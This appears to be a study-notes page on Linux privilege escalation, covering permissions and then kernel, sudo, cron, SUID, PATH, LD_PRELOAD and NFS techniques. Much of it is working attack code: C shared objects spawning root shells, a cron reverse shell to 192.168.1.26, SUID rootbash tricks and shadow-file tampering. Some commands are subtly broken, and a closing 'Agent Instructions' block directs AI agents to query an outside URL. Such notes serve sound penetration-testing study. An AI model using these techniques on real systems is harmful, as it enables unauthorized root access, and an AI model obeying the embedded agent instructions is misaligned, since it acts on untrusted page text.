# Linux Privilege Escalation

> Our ultimate goal in privilege escalation is to obtain a shell running as the **root** user.

## Introduction

### Understanding Linux Permissions

* Linux permissions revolve around the relationship between users, groups, and files/directories:
  * **Users**: Can belong to multiple groups.
  * **Groups**: Can include multiple users.
  * **Files & Directories**: Define permissions for three classes:
    * **Owner (User)**
    * **Group**
    * **Others (Everyone else)**

### User Accounts and Identification

* **Configuration Files**:
  * User accounts are stored in `/etc/passwd`.
  * Password hashes reside in `/etc/shadow`.
* **User IDs (UIDs)**:
  * Every user is identified by an integer UID.
  * The special **root** user has a UID of 0 and is granted access to all files.
* **Types of User IDs**:
  * **Real ID**: The original ID assigned to the user.
  * **Effective ID**: Typically equal to the real ID; it is used in most access control decisions (e.g., the `whoami` command).
  * **Saved ID**: Allows SUID processes to switch the effective ID back to the real ID temporarily and then restore it.

### Group Configuration

* **Group Information**:
  * Groups are defined in `/etc/group`.
  * Every user has a primary group (usually with the same name as their user account) and may belong to additional secondary (or supplementary) groups.

### File and Directory Permissions

* Each file and directory in Linux is associated with a single owner and group. Permissions control the allowed operations:
  * **Permission Types**:
    * **Read (r)**: View the file’s content.
    * **Write (w)**: Modify the file’s content.
    * **Execute (x)**: Run the file as a process.
* **Permission Sets**:
  * **Owner**
  * **Group**
  * **Others** (sometimes called "world")
* **Changing Permissions**: Only the owner can change a file or directory’s permissions.

#### Special Considerations for Directory Permissions

Directory permissions work a bit differently:

* **Execute (x)**: Allows a user to enter the directory. Without it, neither read nor write permissions will function.
* **Read (r)**: Permits listing the directory’s contents.
* **Write (w)**: Enables creation of files and subdirectories.

### Special Permissions

* Linux also supports special permission bits that modify standard behavior:
  * **setuid (SUID) Bit**: When set on a file, the file executes with the privileges of its owner.
  * **setgid (SGID) Bit**:
    * On files, it causes the file to execute with the privileges of its group.
    * On directories, any file created inside inherits the directory’s group.

### Viewing Permissions

* Use the `ls -l` command to view permissions:
  * **First Character**: Indicates the type of file:
    * `-` for a regular file.
    * `d` for a directory.
  * **Next 9 Characters**: Represent three sets of permissions (owner, group, others): Each set includes `r` (read), `w` (write), and `x` (execute).
  * **Special Permissions**:
    * An `s` in the execute position denotes SUID/SGID permissions.

## Privilege Escalation Techniques

### Kernel Exploits

* Kernels are the core of any operating system, acting as an intermediary between application software and the hardware. Since the kernel controls all system operations, exploiting a vulnerability in it can allow you to execute code as the **root** user.

#### **Steps to exploit a kernel vulnerability:**

1. **Enumerate the kernel version:**

   ```bash
   uname -a
   ```
2. **Find matching exploits:** Search using resources like Google, [ExploitDB](https://www.exploit-db.com/), or GitHub.
3. **Compile and run the exploit.**

{% hint style="warning" %}
Kernel exploits can be unstable, sometimes working only once or even crashing the system.
{% endhint %}

* You can also use tools like the Linux Exploit Suggester. For example, run it against a specific kernel version:

```bash
./linux-exploit-suggester-2.pl -k 2.6.32
```

### Services Exploits

* Services are background programs that handle tasks or inputs. If any service running as root is vulnerable, exploiting it may result in root-level command execution.

#### **Steps for service-based escalation:**

* **Identify processes running as root:**

  ```bash
  ps aux | grep "^root"
  ```
* **Determine the service version:** Many services reveal their version with command-line options:

  ```bash
  <program> --version
  <program> -v
  ```
* **On Debian-based systems:**

  ```bash
  dpkg -l | grep <program>
  ```
* **On RPM-based systems:**

  ```bash
  rpm -qa | grep <program>
  ```
* Use the same research resources (Searchsploit, Google, GitHub) to find corresponding exploits.

### Weak File Permissions

* Insecure file permissions can be exploited in several ways:
  * **Information Disclosure:** Reading confidential files might reveal credentials or system information.
* **File Modification:** Modifying a system file can change system behavior to grant elevated privileges.

**Examples:**

* **Finding weak permissions:**
  * Find writable files in `/etc`:

    ```bash
    find /etc -maxdepth 1 -writable -type f
    ```
  * Find readable files in `/etc`:

    ```bash
    find /etc -maxdepth 1 -readable -type f
    ```
  * Find writable directories:

    ```bash
    find / -executable -writable -type d 2> /dev/null
    ```

* **/etc/shadow Exploitation:**\
  The `/etc/shadow` file stores user password hashes and is normally only readable by root. If you can read it, you might use tools like John the Ripper to crack a password:

  ```bash
  john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
  ```

  Alternatively, if you can modify it, replace the root hash with one you know:

  * **Generate a new SHA-512 hash:**

    ```bash
    mkpasswd -m sha-512 newpassword
    ```
  * **Replace the root entry in `/etc/shadow`**

* **/etc/passwd Manipulation:**\
  Historically, `/etc/passwd` held password hashes. If a hash is present in the second field, it overrides `/etc/shadow`.

  * **Normal root entry:**

    ```plaintext
    root:x:0:0:root:/root:/bin/bash
    ```
  * **Misconfigured entry (no password):**

    ```plaintext
    root::0:0:root:/root:/bin/bash
    ```

* If you have write access, you can replace or append a new user with UID 0 (No Password).

### Sudo Exploitation

* The `sudo` program allows users to run commands with another user's privileges—by default, root. Access is controlled by rules in the `/etc/sudoers` file.

#### **Basic sudo usage:**

* Run a program:

  ```bash
  sudo <program>
  ```
* Run a program as a specific user:

  ```bash
  sudo -u <username> <program>
  ```
* List allowed commands:

  ```bash
  sudo -l
  ```
* If your account can run commands with `sudo` without restrictions, you can escalate privileges easily:

```bash
sudo su
```

* Other alternatives include:

```bash
sudo -s
sudo -i
sudo /bin/bash
sudo passwd
```

* Even with restrictions, some programs have shell escape sequences. Check [GTFOBins](https://gtfobins.github.io) for potential methods.

### Environment Variables Exploitation

* Programs run with `sudo` can inherit your environment variables. When `env_reset` is set in `/etc/sudoers`, the environment is minimized, but `env_keep` can allow certain variables to persist.

#### Using LD\_PRELOAD

* `LD_PRELOAD` can force the dynamic loader to load a custom shared object before any others. With a custom `.so` file containing an `init()` function, you can execute code immediately.

1. **Create a custom shared object:**

   ```c
   #include <stdio.h>
   #include <sys/types.h>
   #include <stdlib.h>
   void _init() {
       unsetenv("LD_PRELOAD");
       setresuid(0, 0, 0);
       system("/bin/bash -p");
   }
   ```
2. **Compile your shared object and run:**

   ```bash
   gcc-fPIC-shared -nostartfiles-o <cFileName> <OutputFile>
   sudo LD_PRELOAD=/tmp/<CompiledFileName> apache2
   ```

#### Hijacking Libraries with LD\_LIBRARY\_PATH

* `LD_LIBRARY_PATH` specifies directories where shared libraries are searched first. You can hijack a library by:
* Listing libraries used by a program:

  ```bash
  ldd /usr/sbin/apache2
  ```
* Creating a custom shared library:

  ```c
  #include <stdio.h>
  #include <stdlib.h>
  static void hijack() __attribute__((constructor));
  void hijack() {
      unsetenv("LD_LIBRARY_PATH");
      setresuid(0, 0, 0);
      system("/bin/bash -p");
  }
  ```
* **Compile the shared library:**

  ```bash
  gcc -o <cFileName> -shared -fPIC <OutputFile>
  ```
* **Run the target program:**

  ```bash
  sudo LD_LIBRARY_PATH=. apache2
  ```

### Cron Jobs

* Cron jobs are scheduled tasks that run with the privileges of the owning user. They often run with limited environments, making misconfigurations a potential privilege escalation avenue.
* **Crontab locations:**
  * User crontabs: `/var/spool/cron/` or `/var/spool/cron/crontabs/`
  * System-wide crontab: `/etc/crontab`
* **Misconfigured permissions:** If you can write to a script or program executed by cron, replace it with your own code.

#### **Example: Overwriting a world-writable script**

1. **Locate the script:**

   ```bash
   locate overwrite.sh
   ```
2. **Check permissions:**

   ```bash
   ls -l /usr/local/bin/overwrite.sh
   ```
3. **Replace its contents:**

   ```bash
   #!/bin/bash
   bash -i >& /dev/tcp/192.168.1.26/53 0>&1
   ```

#### **PATH manipulation in cron:**

* If the crontab’s `PATH` includes writable directories, you can place a malicious script there:
* **Example system-wide crontab excerpt:**

  ```plaintext
  PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
  * * * * * root overwrite.sh
  ```
* **In `/home/user`, create an executable `overwrite.sh`:**

  ```bash
  #!/bin/bash
  cp /bin/bash /tmp/rootbash
  chmod +s /tmp/rootbash
  ```
* **Make it executable:**

  ```bash
  chmod +x /home/user/overwrite.sh
  ```

### Filename Expansion and Wildcard Exploitation

* When you use wildcards (e.g., `*`) in commands, the shell expands them into a list of files. This behavior can be exploited if filenames conflict with command-line options.
* **Exploiting filename expansion:**
  * Create a file named with a command-line flag:

    ```bash
    touch ./-l
    ```
  * When running a command like `ls -l`, the shell will pass the file, `-l` as an argument.
* Filenames can match complex options (e.g., `--option=key=value`). Consult [GTFOBins](https://gtfobins.github.io) for more details on which commands can be leveraged using their escape options.

### SUID & SGID

* SUID (Set User ID) and SGID (Set Group ID) files run with the privileges of their owner or group, respectively. When these files are owned by root, they execute with root privileges.

#### Finding SUID/SGID Files

* You can locate files with SUID or SGID bits set using the following command:

```bash
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

* Certain programs install SUID files as part of their normal operation. Just as with vulnerable services, these files may be exploited for a root shell if vulnerabilities exist. Exploits for SUID/SGID binaries can be found using resources like Searchsploit, Google, or GitHub.

{% hint style="info" %}
Environment variable tricks such as LD\_PRELOAD or LD\_LIBRARY\_PATH that work with sudo are disabled by default for SUID files to prevent abuse.
{% endhint %}

#### Shared Object Injection

* When a program runs, it attempts to load required shared objects.
* By using tools like `strace`, you can monitor these system calls and detect missing shared objects. If you have write access to the location where the program expects the shared object, you can create a malicious one that spawns a root shell.

**Example Process:**&#x20;

1. **Locate SUID/SGID Files:**

   ```bash
   find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
   ```

2. **Trace the File Execution:** Run `strace` on the target SUID file to check for missing shared objects:

   ```bash
   trace /usr/local/bin/<File-Name> 2>&1 | grep -iE "open|access|no such file"
   ```

   You might see an output similar to:

   ```
   access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
   open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
   ```

   This indicates that the program is attempting to load `libcalc.so` from a directory you control.

3. **Prepare the Environment:** Create the directory:

   ```bash
   mkdir -p /home/user/.config
   ```

4. **Create the Malicious Shared Object:** Create a file named `libcalc.c` with the following contents:

   ```c
   #include <stdio.h>
   #include <stdlib.h>
   static void inject() __attribute__((constructor));
   void inject() {
       setuid(0);
       system("/bin/bash -p");
   }
   ```

5. **Compile the Shared Object:**

   ```bash
   gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c
   ```

6. **Execute the SUID File:** Running the vulnerable binary should now load your shared object and spawn a root shell:

   ```bash
   /usr/local/bin/suid-so
   ```

#### PATH Hijacking and Environment Variables

* When a program executes another program, it searches the directories listed in the PATH environment variable. Since users control their own PATH, you can manipulate it so that a malicious program is found first.

Key Techniques

* **Extracting Embedded Strings:** Use `strings` to reveal paths or command names embedded in an executable:

  ```bash
  strings /path/to/file
  ```
* **Tracing Executions:** Tools such as `strace` and `ltrace` can help determine which binaries are being called:

  ```bash
  strace -v -f -e execve <command> 2>&1 | grep exec
  ltrace <command>
  ```

**Exploiting a SUID Binary Using PATH**

1. **Identify the Command:**\
   Run `strings` on the SUID file (e.g., `/usr/local/bin/suid-env`) and look for a command. e.g: `service apache2 start`.
2. **Verify with strace:**

   ```bash
   strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
   ```
3. **Create a Custom Executable:**\
   Write a simple C program (e.g., `system.c`) to spawn a shell:

   ```c
   #include <stdlib.h>
   #include <unistd.h>
   int main() {
       setuid(0);
       system("/bin/bash -p");
       return 0;
   }
   ```

   Compile it:

   ```bash
   gcc -o service system.c
   ```
4. **Manipulate PATH and Execute:**\
   Prepend the directory containing your compiled binary to PATH:

   ```bash
   PATH=.:$PATH /usr/local/bin/suid-env
   ```

   This should result in a root shell.

**Using Bash Functions**

* On shells such as Bash versions earlier than **4.2-048**, you can define and export functions that override system executables:

1. **Check Bash Version:**

   ```bash
   bash --version
   ```
2. **Define and Export a Function:**

   ```bash
   function /usr/sbin/service { /bin/bash -p; }
   export -f /usr/sbin/service
   ```
3. **Execute the Vulnerable Binary:**

   ```bash
   /usr/local/bin/suid-env2
   ```

   If successful, you should receive a root shell.

**Bash Debugging Mode Exploitation**

* Bash’s debugging mode (enabled via `-x` or the `SHELLOPTS` variable) uses the PS4 variable to prefix debug output. You can embed a payload in PS4 that runs with elevated privileges if inherited by a SUID process (note that Bash 4.4+ does not inherit PS4 in root shells).

1. **Run with Debugging Environment Variables:**

   ```bash
   env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chown root /tmp/rootbash; chmod +s /tmp/rootbash)' /usr/local/bin/suid-env2
   ```
2. **Invoke the New Shell:**

   ```bash
   /tmp/rootbash -p
   ```

## Passwords & Keys

Weak password storage and reuse can provide unexpected escalation paths:

* **Configuration Files:** Some services store passwords in plaintext. If the root password is reused for a service, you might be able to obtain it from a config file.
* **History Files:** Command histories can inadvertently save passwords. Reviewing these files might reveal credentials.
* **SSH Keys:** SSH authentication uses key pairs. If a user’s private key is stored insecurely (for example, in a world-readable file), an attacker can use it to gain access.

## NFS Exploitation

* NFS (Network File System) allows remote mounting of file systems and can introduce privilege escalation risks.
* **NFS Shares:**\
  Configured in `/etc/exports`, these shares allow remote users to mount and interact with files. Created files inherit the remote user’s UID and GID.
* **Listing NFS Exports:**

  ```bash
  showmount -e <target>
  ```

  Alternatively, use an Nmap script:

  ```bash
  nmap -sV --script=nfs-showmount <target>
  ```
* **Mounting an NFS Share:**

  ```bash
  mount -o rw,vers=2 <target>:<share> <local_directory>
  ```
* **Root Squashing:**\
  By default, NFS “squashes” remote root (uid=0) to the “nobody” user. However, if the `no_root_squash` option is enabled in a writable share, a remote user claiming to be root can create files with root ownership.

## Strategy and Best Practices

When performing privilege escalation, a methodical approach is key. Consider the following steps:

1. **Initial Enumeration:**
   * Check your current user and group IDs using:

     ```bash
     id
     whoami
     ```
   * Run enumeration tools such as Linux Smart Enumeration (LSE) and LinEnum.
2. **Review and Organize Results:**
   * Save and review your enumeration dumps.
   * Create a checklist of findings that could enable escalation.
3. **Focus on Low-Hanging Fruit:**
   * Start with simpler methods such as misconfigured sudo rules, cron jobs, or SUID files.
   * Verify root process versions and search for known exploits.
4. **Examine Configuration Files and History:**
   * Look in common locations (e.g., user home directories, `/var/backups`, `/var/logs`).
   * Inspect command history files for inadvertent credential disclosure.
5. **Network and Process Analysis:**
   * Check for services running with elevated privileges.
   * Identify internal ports that might be forwarded to your machine.
6. **Revisit and Reassess:**
   * If initial attempts fail, re-read your enumeration outputs.
   * Pay attention to unusual filesystem types or unfamiliar process names.
   * Consider more advanced kernel exploits if all else fails.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kayra.gitbook.io/hackerkayra/archive-backup-bin/tib3rius-privilege-escalation/linux-privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
